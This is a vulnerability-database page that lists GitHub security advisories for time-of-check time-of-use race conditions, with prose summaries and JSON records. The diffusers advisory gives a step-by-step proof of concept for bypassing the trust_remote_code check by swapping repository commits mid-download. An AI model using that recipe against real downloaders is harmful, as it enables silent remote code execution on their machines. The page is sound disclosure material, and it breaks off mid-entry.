CWE-367
AllowedTime-of-check Time-of-use (TOCTOU) Race Condition
Abstraction: Base · Status: Incomplete
The product checks the state of a resource before using that resource, but the resource's state can change between the check and the use in a way that invalidates the results of the check.
1066 vulnerabilities reference this CWE, most recent first.
GHSA-7QRF-MVGV-R448
Vulnerability from github – Published: 2024-05-03 03:30 – Updated: 2024-05-03 03:30Parallels Desktop Toolgate Time-Of-Check Time-Of-Use Local Privilege Escalation Vulnerability. This vulnerability allows local attackers to escalate privileges on affected installations of Parallels Desktop. An attacker must first obtain the ability to execute high-privileged code on the target guest system in order to exploit this vulnerability.
The specific flaw exists within the Toolgate component. The issue results from the lack of proper locking when performing operations on an object. An attacker can leverage this vulnerability to escalate privileges and execute arbitrary code in the context of the current user on the host system. Was ZDI-CAN-18964.
{
"affected": [],
"aliases": [
"CVE-2023-27327"
],
"database_specific": {
"cwe_ids": [
"CWE-367"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-05-03T02:15:09Z",
"severity": "HIGH"
},
"details": "Parallels Desktop Toolgate Time-Of-Check Time-Of-Use Local Privilege Escalation Vulnerability. This vulnerability allows local attackers to escalate privileges on affected installations of Parallels Desktop. An attacker must first obtain the ability to execute high-privileged code on the target guest system in order to exploit this vulnerability.\n\nThe specific flaw exists within the Toolgate component. The issue results from the lack of proper locking when performing operations on an object. An attacker can leverage this vulnerability to escalate privileges and execute arbitrary code in the context of the current user on the host system. Was ZDI-CAN-18964.",
"id": "GHSA-7qrf-mvgv-r448",
"modified": "2024-05-03T03:30:47Z",
"published": "2024-05-03T03:30:47Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-27327"
},
{
"type": "WEB",
"url": "https://kb.parallels.com/125013"
},
{
"type": "WEB",
"url": "https://www.zerodayinitiative.com/advisories/ZDI-23-215"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:L/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-7R55-MP9R-C8PJ
Vulnerability from github – Published: 2023-11-14 21:31 – Updated: 2024-02-13 21:30TOCTOU in the ASP Bootloader may allow an attacker with physical access to tamper with SPI ROM records after memory content verification, potentially leading to loss of confidentiality or a denial of service.
{
"affected": [],
"aliases": [
"CVE-2023-20521"
],
"database_specific": {
"cwe_ids": [
"CWE-367"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2023-11-14T19:15:15Z",
"severity": "MODERATE"
},
"details": "TOCTOU in the ASP Bootloader may allow an attacker with physical access to tamper with SPI ROM records after memory content verification, potentially leading to loss of confidentiality or a denial of service.\n\n\n\n\n\n\n\n\n\n\n\n\n",
"id": "GHSA-7r55-mp9r-c8pj",
"modified": "2024-02-13T21:30:25Z",
"published": "2023-11-14T21:31:00Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-20521"
},
{
"type": "WEB",
"url": "https://www.amd.com/en/corporate/product-security/bulletin/AMD-SB-3002"
},
{
"type": "WEB",
"url": "https://www.amd.com/en/corporate/product-security/bulletin/AMD-SB-4002"
},
{
"type": "WEB",
"url": "https://www.amd.com/en/corporate/product-security/bulletin/AMD-SB-5001"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:P/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-7VC9-VX7C-89WF
Vulnerability from github – Published: 2026-05-21 15:34 – Updated: 2026-05-21 15:34A time-of-check time-of-use vulnerability in the Trend Micro Apex One (mac) agent cache mechanism could allow a local attacker to escalate privileges on affected installations.
Please note: an attacker must first obtain the ability to execute low-privileged code on the target system in order to exploit this vulnerability.
The following information is provided as informational only for CVE references, as these were addressed already via ActiveUpdate/SaaS updates in mid to late 2025 (SaaS 2507 & 2005 Yearly Release).
{
"affected": [],
"aliases": [
"CVE-2025-71216"
],
"database_specific": {
"cwe_ids": [
"CWE-367"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-05-21T14:16:44Z",
"severity": "HIGH"
},
"details": "A time-of-check time-of-use vulnerability in the Trend Micro Apex One (mac) agent cache mechanism could allow a local attacker to escalate privileges on affected installations.\n\nPlease note: an attacker must first obtain the ability to execute low-privileged code on the target system in order to exploit this vulnerability.\n\nThe following information is provided as informational only for CVE references, as these were addressed already via ActiveUpdate/SaaS updates in mid to late 2025 (SaaS 2507 \u0026 2005 Yearly Release).",
"id": "GHSA-7vc9-vx7c-89wf",
"modified": "2026-05-21T15:34:09Z",
"published": "2026-05-21T15:34:09Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-71216"
},
{
"type": "WEB",
"url": "https://success.trendmicro.com/en-US/solution/KA-0022458"
},
{
"type": "WEB",
"url": "https://www.zerodayinitiative.com/advisories/ZDI-26-142"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-7VGH-977H-8447
Vulnerability from github – Published: 2024-06-11 18:30 – Updated: 2024-06-11 18:30Windows Kernel Elevation of Privilege Vulnerability
{
"affected": [],
"aliases": [
"CVE-2024-30099"
],
"database_specific": {
"cwe_ids": [
"CWE-367"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-06-11T17:15:58Z",
"severity": "HIGH"
},
"details": "Windows Kernel Elevation of Privilege Vulnerability",
"id": "GHSA-7vgh-977h-8447",
"modified": "2024-06-11T18:30:49Z",
"published": "2024-06-11T18:30:49Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-30099"
},
{
"type": "WEB",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-30099"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-7W8H-H4PJ-JGJQ
Vulnerability from github – Published: 2022-05-13 01:31 – Updated: 2022-05-13 01:31An unprivileged user can delete arbitrary files on a Linux system running ENSLTP 10.5.1, 10.5.0, and 10.2.3 Hotfix 1246778 and earlier. By exploiting a time of check to time of use (TOCTOU) race condition during a specific scanning sequence, the unprivileged user is able to perform a privilege escalation to delete arbitrary files.
{
"affected": [],
"aliases": [
"CVE-2018-6693"
],
"database_specific": {
"cwe_ids": [
"CWE-367"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2018-09-18T21:29:00Z",
"severity": "MODERATE"
},
"details": "An unprivileged user can delete arbitrary files on a Linux system running ENSLTP 10.5.1, 10.5.0, and 10.2.3 Hotfix 1246778 and earlier. By exploiting a time of check to time of use (TOCTOU) race condition during a specific scanning sequence, the unprivileged user is able to perform a privilege escalation to delete arbitrary files.",
"id": "GHSA-7w8h-h4pj-jgjq",
"modified": "2022-05-13T01:31:56Z",
"published": "2022-05-13T01:31:56Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-6693"
},
{
"type": "WEB",
"url": "https://kc.mcafee.com/corporate/index?page=content\u0026id=SB10248"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-7W99-5WM4-3G79
Vulnerability from github – Published: 2026-07-07 20:56 – Updated: 2026-07-07 20:56Am I affected?
Users are affected if all of the following are true:
- Their project depends on
@better-auth/oauth-providerat a version>= 1.6.0, < 1.6.11, or uses the embedded plugin inbetter-auth >= 1.4.8-beta.7, < 1.6.0, or enables the legacyoidc-providerormcpplugins frombetter-auth/plugins. - Their application exposes
/api/auth/oauth2/token(or the legacy plugins'/oauth2/tokenand/mcp/token) as a token endpoint to OAuth/OIDC clients, including internal MCP clients (Claude Desktop, custom MCP tool callers, AI agents). - Their application has not implemented an external mitigation: a load-balancer-level idempotency cache keyed by
code, a database trigger that rejects duplicate token issuance for the same authorization code, or a custom adapter override that performs an atomic compare-and-delete.
Fix:
- Upgrade to
@better-auth/oauth-provider@1.6.11or later. If developers use the legacy plugin paths frombetter-auth/plugins, upgradebetter-authto1.6.11or later. - If developers cannot upgrade, see workarounds below.
Summary
The OAuth provider's POST /oauth2/token endpoint, on the authorization_code grant, redeems a single-use authorization code through a non-atomic find-then-delete sequence. Two concurrent requests with the same code value both pass the read step before either delete completes, then both proceed to PKCE verification and createUserTokens. Each surviving request mints a fresh access token, refresh token, and id token. RFC 6749 §4.1.2 requires authorization codes to be single-use; this primitive does not enforce that under concurrency.
Details
The same architectural primitive (find a single-use verification row, then delete it, then trust the row to authorize) is used in 20 other call sites across the codebase. The deletion primitive returns Promise<void>, discarding the row count surfaced by adapter.deleteMany, so no call site can detect "another caller already claimed this row". The fix lands at the primitive layer rather than at any individual call site.
The fix introduces a claimVerificationByIdentifier primitive at the internal-adapter layer that performs an atomic claim-and-return, replaces the find-then-delete pair at this call site, and migrates the highest-impact variant sites in the same release.
Patches
Fixed in @better-auth/oauth-provider@1.6.11 and better-auth@1.6.11 for the legacy oidc-provider and mcp plugin paths. All three token-exchange call sites now consume the verification row through internalAdapter.consumeVerificationValue, an atomic claim primitive that deletes the row and returns its prior value in one operation. The first request to arrive takes the row and mints tokens; concurrent racers observe an empty result and return invalid_grant.
Error-code consistency is also tightened on the @better-auth/oauth-provider token endpoint: the malformed-verification-value branches previously returned a project-specific invalid_verification code, which is not part of RFC 6749 §5.2's response error set. Both branches now return invalid_grant so spec-compliant clients can branch on the standard code without a special case.
Workarounds
None of these close the bug fully without a code patch. Upgrading is the only good path.
- Network-layer: deploy an authorization-server-aware reverse proxy (Envoy, NGINX with Lua, custom Cloudflare Worker) that holds an in-flight registry keyed by the
codeparameter and serializes concurrent requests for the same code. Fragile under multi-instance deployments unless the registry is shared (Redis-backed). - Database-layer: add a SQL or Mongo uniqueness constraint that prevents two
oauthAccessTokenrows from being created with the same upstream code reference. Adapter-specific and not always feasible since the schema does not currently store the source code. - Application-layer: wrap
deleteVerificationByIdentifierwith a custom hook that usesadapter.deleteManyand surfaces the count, then injects aninvalid_grantrejection when the count is zero. Requires forking the internal adapter.
Impact
- Multiple independent token sets from a single authorization: forked access tokens, refresh tokens, and id tokens issued from the same code, all valid for the original user's authorization scope.
- Detection bypass: standard OAuth single-use enforcement does not fire for the second redemption when both requests interleave through the read step.
- Legacy-plugin reach:
oidc-providerandmcpplugins share the primitive on the same surface, so deployments using them inherit the same impact.
Credit
Reported by @chdanielmueller.
Resources
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "@better-auth/oauth-provider"
},
"ranges": [
{
"events": [
{
"introduced": "1.6.0"
},
{
"fixed": "1.6.11"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "npm",
"name": "better-auth"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.6.11"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-53518"
],
"database_specific": {
"cwe_ids": [
"CWE-294",
"CWE-362",
"CWE-367"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-07T20:56:35Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Am I affected?\n\nUsers are affected if all of the following are true:\n\n- Their project depends on `@better-auth/oauth-provider` at a version `\u003e= 1.6.0, \u003c 1.6.11`, or uses the embedded plugin in `better-auth \u003e= 1.4.8-beta.7, \u003c 1.6.0`, or enables the legacy `oidc-provider` or `mcp` plugins from `better-auth/plugins`.\n- Their application exposes `/api/auth/oauth2/token` (or the legacy plugins\u0027 `/oauth2/token` and `/mcp/token`) as a token endpoint to OAuth/OIDC clients, including internal MCP clients (Claude Desktop, custom MCP tool callers, AI agents).\n- Their application has not implemented an external mitigation: a load-balancer-level idempotency cache keyed by `code`, a database trigger that rejects duplicate token issuance for the same authorization code, or a custom adapter override that performs an atomic compare-and-delete.\n\nFix:\n\n1. Upgrade to `@better-auth/oauth-provider@1.6.11` or later. If developers use the legacy plugin paths from `better-auth/plugins`, upgrade `better-auth` to `1.6.11` or later.\n2. If developers cannot upgrade, see workarounds below.\n\n### Summary\n\nThe OAuth provider\u0027s `POST /oauth2/token` endpoint, on the `authorization_code` grant, redeems a single-use authorization code through a non-atomic find-then-delete sequence. Two concurrent requests with the same `code` value both pass the read step before either delete completes, then both proceed to PKCE verification and `createUserTokens`. Each surviving request mints a fresh access token, refresh token, and id token. RFC 6749 \u00a74.1.2 requires authorization codes to be single-use; this primitive does not enforce that under concurrency.\n\n### Details\n\nThe same architectural primitive (find a single-use verification row, then delete it, then trust the row to authorize) is used in 20 other call sites across the codebase. The deletion primitive returns `Promise\u003cvoid\u003e`, discarding the row count surfaced by `adapter.deleteMany`, so no call site can detect \"another caller already claimed this row\". The fix lands at the primitive layer rather than at any individual call site.\n\nThe fix introduces a `claimVerificationByIdentifier` primitive at the internal-adapter layer that performs an atomic claim-and-return, replaces the find-then-delete pair at this call site, and migrates the highest-impact variant sites in the same release.\n\n### Patches\n\nFixed in `@better-auth/oauth-provider@1.6.11` and `better-auth@1.6.11` for the legacy `oidc-provider` and `mcp` plugin paths. All three token-exchange call sites now consume the verification row through `internalAdapter.consumeVerificationValue`, an atomic claim primitive that deletes the row and returns its prior value in one operation. The first request to arrive takes the row and mints tokens; concurrent racers observe an empty result and return `invalid_grant`.\n\nError-code consistency is also tightened on the `@better-auth/oauth-provider` token endpoint: the malformed-verification-value branches previously returned a project-specific `invalid_verification` code, which is not part of RFC 6749 \u00a75.2\u0027s response error set. Both branches now return `invalid_grant` so spec-compliant clients can branch on the standard code without a special case.\n\n### Workarounds\n\nNone of these close the bug fully without a code patch. Upgrading is the only good path.\n\n- **Network-layer**: deploy an authorization-server-aware reverse proxy (Envoy, NGINX with Lua, custom Cloudflare Worker) that holds an in-flight registry keyed by the `code` parameter and serializes concurrent requests for the same code. Fragile under multi-instance deployments unless the registry is shared (Redis-backed).\n- **Database-layer**: add a SQL or Mongo uniqueness constraint that prevents two `oauthAccessToken` rows from being created with the same upstream code reference. Adapter-specific and not always feasible since the schema does not currently store the source code.\n- **Application-layer**: wrap `deleteVerificationByIdentifier` with a custom hook that uses `adapter.deleteMany` and surfaces the count, then injects an `invalid_grant` rejection when the count is zero. Requires forking the internal adapter.\n\n### Impact\n\n- **Multiple independent token sets from a single authorization**: forked access tokens, refresh tokens, and id tokens issued from the same code, all valid for the original user\u0027s authorization scope.\n- **Detection bypass**: standard OAuth single-use enforcement does not fire for the second redemption when both requests interleave through the read step.\n- **Legacy-plugin reach**: `oidc-provider` and `mcp` plugins share the primitive on the same surface, so deployments using them inherit the same impact.\n\n### Credit\n\nReported by @chdanielmueller.\n\n### Resources\n\n- [CWE-362: Concurrent Execution using Shared Resource with Improper Synchronization (Race Condition)](https://cwe.mitre.org/data/definitions/362.html)\n- [CWE-367: Time-of-check Time-of-use (TOCTOU) Race Condition](https://cwe.mitre.org/data/definitions/367.html)\n- [CWE-294: Authentication Bypass by Capture-replay](https://cwe.mitre.org/data/definitions/294.html)\n- [RFC 6749 \u00a74.1.2: Authorization Response](https://datatracker.ietf.org/doc/html/rfc6749#section-4.1.2)\n- [OAuth 2.1 \u00a74.1: Authorization Code Grant](https://datatracker.ietf.org/doc/html/draft-ietf-oauth-v2-1#section-4.1)",
"id": "GHSA-7w99-5wm4-3g79",
"modified": "2026-07-07T20:56:35Z",
"published": "2026-07-07T20:56:35Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/better-auth/better-auth/security/advisories/GHSA-7w99-5wm4-3g79"
},
{
"type": "PACKAGE",
"url": "https://github.com/better-auth/better-auth"
},
{
"type": "WEB",
"url": "https://github.com/better-auth/better-auth/releases/tag/v1.6.11"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "@better-auth/oauth-provider\u0027s OAuth authorization-code grant allows concurrent redemption when two token requests race the find-then-delete primitive"
}
GHSA-7WX3-R5H3-P5X3
Vulnerability from github – Published: 2024-08-13 18:31 – Updated: 2024-08-13 18:31Windows Kernel-Mode Driver Elevation of Privilege Vulnerability
{
"affected": [],
"aliases": [
"CVE-2024-38186"
],
"database_specific": {
"cwe_ids": [
"CWE-367"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-08-13T18:15:27Z",
"severity": "HIGH"
},
"details": "Windows Kernel-Mode Driver Elevation of Privilege Vulnerability",
"id": "GHSA-7wx3-r5h3-p5x3",
"modified": "2024-08-13T18:31:17Z",
"published": "2024-08-13T18:31:17Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-38186"
},
{
"type": "WEB",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-38186"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-7WX4-6VFF-V64P
Vulnerability from github – Published: 2026-05-20 15:31 – Updated: 2026-05-20 15:31Background
This vulnerability is found in the diffusers package - the transformers-equivalent library for diffusion models.
It is found in the DiffusionPipeline.from_pretrained flow, which is used to load a pipeline from the HuggingFace Hub.
This function has a trust_remote_code guard: if the repository’s model_index.json references a custom pipeline class defined in a .py file in the repo, the load is blocked unless trust_remote_code=True is explicitly passed:
ValueError: The repository for attacker/repo contains custom code in pipeline.py
which must be executed to correctly load the model. You can inspect the repository
content at https://hf.co/attacker/repo/blob/main/pipeline.py.
Please pass the argument `trust_remote_code=True` to allow custom code to be run.
The vulnerability allows arbitrary code execution through the custom pipeline flow from a Hub repo, with no custom_pipeline or trust_remote_code kwargs passed. The from_pretrained call succeeds and returns a functional pipeline.
Naive Flow
DiffusionPipeline.from_pretrained begins by popping all relevant arguments from kwargs into local variables, then calls DiffusionPipeline.download() to fetch the repo files:
# pipeline_utils.py:853
cached_folder = cls.download(
pretrained_model_name_or_path,
...
custom_pipeline=custom_pipeline,
trust_remote_code=trust_remote_code,
...
)
Inside download(), model_index.json is fetched first as a standalone file via hf_hub_download:
# pipeline_utils.py:1636
config_file = hf_hub_download(
pretrained_model_name,
cls.config_name,
...
)
config_dict = cls._dict_from_json_file(config_file)
This config is used to detect custom pipeline code and enforce the trust check:
# pipeline_utils.py:1672
if custom_pipeline is None and isinstance(config_dict["_class_name"], (list, tuple)):
custom_pipeline = config_dict["_class_name"][0]
load_pipe_from_hub = custom_pipeline is not None and f"{custom_pipeline}.py" in filenames
if load_pipe_from_hub and not trust_remote_code:
raise ValueError(...)
After the check passes, snapshot_download then fetches all files and saves them to disk:
# pipeline_utils.py:1778
cached_folder = snapshot_download(
pretrained_model_name,
...
revision=revision,
allow_patterns=allow_patterns,
...
)
Back in from_pretrained, the config is read a second time from the downloaded snapshot, and_resolve_custom_pipeline_and_cls reads the config to re-check if custom code needs to be loaded:
# pipeline_loading_utils.py:974
def _resolve_custom_pipeline_and_cls(folder, config, custom_pipeline):
custom_class_name = None
if os.path.isfile(os.path.join(folder, f"{custom_pipeline}.py")):
custom_pipeline = os.path.join(folder, f"{custom_pipeline}.py")
elif isinstance(config["_class_name"], (list, tuple)) and os.path.isfile(
os.path.join(folder, f"{config['_class_name'][0]}.py")
):
custom_pipeline = os.path.join(folder, f"{config['_class_name'][0]}.py")
custom_class_name = config["_class_name"][1]
return custom_pipeline, custom_class_name
If the config points to a .py file, it is imported.
The Vulnerability
hf_hub_download and snapshot_download are two independent HTTP calls to the Hub, both resolving the repository’s default branch (if revision=None) to its current HEAD at call time. There is no atomicity guarantee between them - if the repository is updated between the two calls, they will resolve to different commits and download different content, with no warning displayed to the user.
The trust check in download() operates on the content fetched by hf_hub_download (commit A). The snapshot_download call that immediately follows can silently fetch a newer commit (commit B). The config in the newer commit will be the one parsed by _resolve_custom_pipeline_and_cls.
Therefore, it’s possible to introduce remote code into the repo between the two calls, bypassing the trust check.
The race window is everything between the two Hub calls inside download():
# pipeline_utils.py:1636
config_file = hf_hub_download(...) # ← sees commit A, trust check passes
# ... filenames processing, pattern building, pipeline_is_cached check ...
# ~~~ ATTACKER PUSHES COMMIT B HERE ~~~
# pipeline_utils.py:1778
cached_folder = snapshot_download(...) # ← sees commit B, downloads pipeline.py
For the exploit, commit A carries a clean config with _class_name as a plain string, which causes load_pipe_from_hub to be False and the trust check to pass. Commit B changes _class_name to a list and adds pipeline.py:
Commit A - model_index.json:
{
"_class_name": "FluxPipeline",
"_diffusers_version": "0.31.0"
}
Commit B - model_index.json:
{
"_class_name": ["pipeline", "FluxPipeline"],
"_diffusers_version": "0.31.0"
}
When from_pretrained reads the snapshot after download() returns, config["_class_name"] is now a list, pipeline.py exists on disk (fetched by snapshot_download), and _resolve_custom_pipeline_and_cls resolves custom_pipeline to the local path of that file. _get_pipeline_class then imports it - with no trust check at this point in the code.
PoC
- Create a Hub repo with commit A’s
model_index.json(plain string_class_name). - Run
DiffusionPipeline.from_pretrained("attacker/repo")with a breakpoint set atpipeline_utils.py:1778(thesnapshot_downloadcall). This is for the window to be large enough to manually respond to it. - When execution pauses at the breakpoint, push commit B: update
model_index.jsonto use a list_class_nameand addpipeline.py. - Resume execution.
snapshot_downloadfetches commit B;/tmp/pwnedis written during the subsequent_get_pipeline_classcall.
Constraints
- Does not apply when
revisionis pinned to a specific commit hash - both Hub calls resolve to the same content. - Does not apply when loading from a local directory.
- If all expected files are already present in the local HF cache,
download()returns early before reachingsnapshot_download(line 1767 early-return), closing the race window. The exploit therefore requires a first (or forced) download.
Exploitability
The window between the two calls is very short. Local testing resulted in a window of approximately ~0.5 seconds for the attacker to push the change. This is, of course, unfeasible to accomplish for each and every new download. However, given a popular repo with many downloads per day, one may achieve statistical success by changing the repo’s state every once in a while or every few seconds, with some percentage of downloaders falling on the exact window.
Impact
The vulnerability is a silent RCE - it allows arbitrary code to be loaded through the custom pipeline flow from a Hub repo, with no custom_pipeline or trust_remote_code kwargs. The from_pretrained call succeeds and returns a fully functional pipeline.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "diffusers"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.38.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-45804"
],
"database_specific": {
"cwe_ids": [
"CWE-367"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-20T15:31:33Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## Background\n\nThis vulnerability is found in the `diffusers` package - the `transformers`-equivalent library for diffusion models.\n\nIt is found in the `DiffusionPipeline.from_pretrained` flow, which is used to load a pipeline from the HuggingFace Hub.\n\nThis function has a `trust_remote_code` guard: if the repository\u2019s `model_index.json` references a custom pipeline class defined in a `.py` file in the repo, the load is blocked unless `trust_remote_code=True` is explicitly passed:\n\n```\nValueError: The repository for attacker/repo contains custom code in pipeline.py\nwhich must be executed to correctly load the model. You can inspect the repository\ncontent at https://hf.co/attacker/repo/blob/main/pipeline.py.\nPlease pass the argument `trust_remote_code=True` to allow custom code to be run.\n```\n\nThe vulnerability allows arbitrary code execution through the custom pipeline flow from a Hub repo, with no `custom_pipeline` or `trust_remote_code` kwargs passed. The `from_pretrained` call succeeds and returns a functional pipeline.\n\n---\n\n## Naive Flow\n\n`DiffusionPipeline.from_pretrained` begins by popping all relevant arguments from `kwargs` into local variables, then calls `DiffusionPipeline.download()` to fetch the repo files:\n\n```python\n# pipeline_utils.py:853\ncached_folder = cls.download(\n pretrained_model_name_or_path,\n ...\n custom_pipeline=custom_pipeline,\n trust_remote_code=trust_remote_code,\n ...\n)\n```\n\nInside `download()`, `model_index.json` is fetched first as a standalone file via `hf_hub_download`:\n\n```python\n# pipeline_utils.py:1636\nconfig_file = hf_hub_download(\n pretrained_model_name,\n cls.config_name,\n ...\n)\nconfig_dict = cls._dict_from_json_file(config_file)\n```\n\nThis config is used to detect custom pipeline code and enforce the trust check:\n\n```python\n# pipeline_utils.py:1672\nif custom_pipeline is None and isinstance(config_dict[\"_class_name\"], (list, tuple)):\n custom_pipeline = config_dict[\"_class_name\"][0]\n\nload_pipe_from_hub = custom_pipeline is not None and f\"{custom_pipeline}.py\" in filenames\n\nif load_pipe_from_hub and not trust_remote_code:\n raise ValueError(...)\n```\n\nAfter the check passes, `snapshot_download` then fetches all files and saves them to disk:\n\n```python\n# pipeline_utils.py:1778\ncached_folder = snapshot_download(\n pretrained_model_name,\n ...\n revision=revision,\n allow_patterns=allow_patterns,\n ...\n)\n```\n\nBack in `from_pretrained`, the config is read a second time from the downloaded snapshot, and`_resolve_custom_pipeline_and_cls` reads the config to re-check if custom code needs to be loaded:\n\n```python\n# pipeline_loading_utils.py:974\ndef _resolve_custom_pipeline_and_cls(folder, config, custom_pipeline):\n custom_class_name = None\n if os.path.isfile(os.path.join(folder, f\"{custom_pipeline}.py\")):\n custom_pipeline = os.path.join(folder, f\"{custom_pipeline}.py\")\n elif isinstance(config[\"_class_name\"], (list, tuple)) and os.path.isfile(\n os.path.join(folder, f\"{config[\u0027_class_name\u0027][0]}.py\")\n ):\n custom_pipeline = os.path.join(folder, f\"{config[\u0027_class_name\u0027][0]}.py\")\n custom_class_name = config[\"_class_name\"][1]\n\n return custom_pipeline, custom_class_name\n```\n\nIf the config points to a `.py` file, it is imported.\n\n---\n\n## The Vulnerability\n\n`hf_hub_download` and `snapshot_download` are two independent HTTP calls to the Hub, both resolving the repository\u2019s default branch (if `revision=None`) to its current HEAD at call time. There is no atomicity guarantee between them - if the repository is updated between the two calls, they will resolve to different commits and download different content, with no warning displayed to the user.\n\nThe trust check in `download()` operates on the content fetched by `hf_hub_download` (commit A). The `snapshot_download` call that immediately follows can silently fetch a newer commit (commit B). The config in the newer commit will be the one parsed by `_resolve_custom_pipeline_and_cls`.\n\n**Therefore, it\u2019s possible to introduce remote code into the repo between the two calls, bypassing the trust check.**\n\nThe race window is everything between the two Hub calls inside `download()`:\n\n```python\n# pipeline_utils.py:1636\nconfig_file = hf_hub_download(...) # \u2190 sees commit A, trust check passes\n\n# ... filenames processing, pattern building, pipeline_is_cached check ...\n# ~~~ ATTACKER PUSHES COMMIT B HERE ~~~\n\n# pipeline_utils.py:1778\ncached_folder = snapshot_download(...) # \u2190 sees commit B, downloads pipeline.py\n```\n\nFor the exploit, commit A carries a clean config with `_class_name` as a plain string, which causes `load_pipe_from_hub` to be `False` and the trust check to pass. Commit B changes `_class_name` to a list and adds `pipeline.py`:\n\n**Commit A - `model_index.json`:**\n\n```json\n{\n \"_class_name\": \"FluxPipeline\",\n \"_diffusers_version\": \"0.31.0\"\n}\n```\n\n**Commit B - `model_index.json`:**\n\n```json\n{\n \"_class_name\": [\"pipeline\", \"FluxPipeline\"],\n \"_diffusers_version\": \"0.31.0\"\n}\n```\n\nWhen `from_pretrained` reads the snapshot after `download()` returns, `config[\"_class_name\"]` is now a list, `pipeline.py` exists on disk (fetched by `snapshot_download`), and `_resolve_custom_pipeline_and_cls` resolves `custom_pipeline` to the local path of that file. `_get_pipeline_class` then imports it - with no trust check at this point in the code.\n\n---\n\n## PoC\n\n1. Create a Hub repo with commit A\u2019s `model_index.json` (plain string `_class_name`).\n2. Run `DiffusionPipeline.from_pretrained(\"attacker/repo\")` with a breakpoint set at `pipeline_utils.py:1778` (the `snapshot_download` call). This is for the window to be large enough to manually respond to it.\n3. When execution pauses at the breakpoint, push commit B: update `model_index.json` to use a list `_class_name` and add `pipeline.py`.\n4. Resume execution.\n5. `snapshot_download` fetches commit B; `/tmp/pwned` is written during the subsequent `_get_pipeline_class` call.\n\n---\n\n## Constraints\n\n- Does not apply when `revision` is pinned to a specific commit hash - both Hub calls resolve to the same content.\n- Does not apply when loading from a local directory.\n- If all expected files are already present in the local HF cache, `download()` returns early before reaching `snapshot_download` (line 1767 early-return), closing the race window. The exploit therefore requires a first (or forced) download.\n\n---\n\n## Exploitability\n\nThe window between the two calls is very short. Local testing resulted in a window of approximately ~0.5 seconds for the attacker to push the change. This is, of course, unfeasible to accomplish for each and every new download. However, given a popular repo with many downloads per day, one may achieve **statistical success** by changing the repo\u2019s state every once in a while or every few seconds, with some percentage of downloaders falling on the exact window. \n\n---\n\n## Impact\n\nThe vulnerability is a silent RCE - it allows arbitrary code to be loaded through the custom pipeline flow from a Hub repo, with no `custom_pipeline` or `trust_remote_code` kwargs. The `from_pretrained` call succeeds and returns a fully functional pipeline.",
"id": "GHSA-7wx4-6vff-v64p",
"modified": "2026-05-20T15:31:33Z",
"published": "2026-05-20T15:31:33Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/huggingface/diffusers/security/advisories/GHSA-7wx4-6vff-v64p"
},
{
"type": "PACKAGE",
"url": "https://github.com/huggingface/diffusers"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Diffusers: TOCTOU Trust Remote Code Bypass"
}
GHSA-7X3H-RM86-3342
Vulnerability from github – Published: 2026-02-05 21:33 – Updated: 2026-02-06 21:42Summary
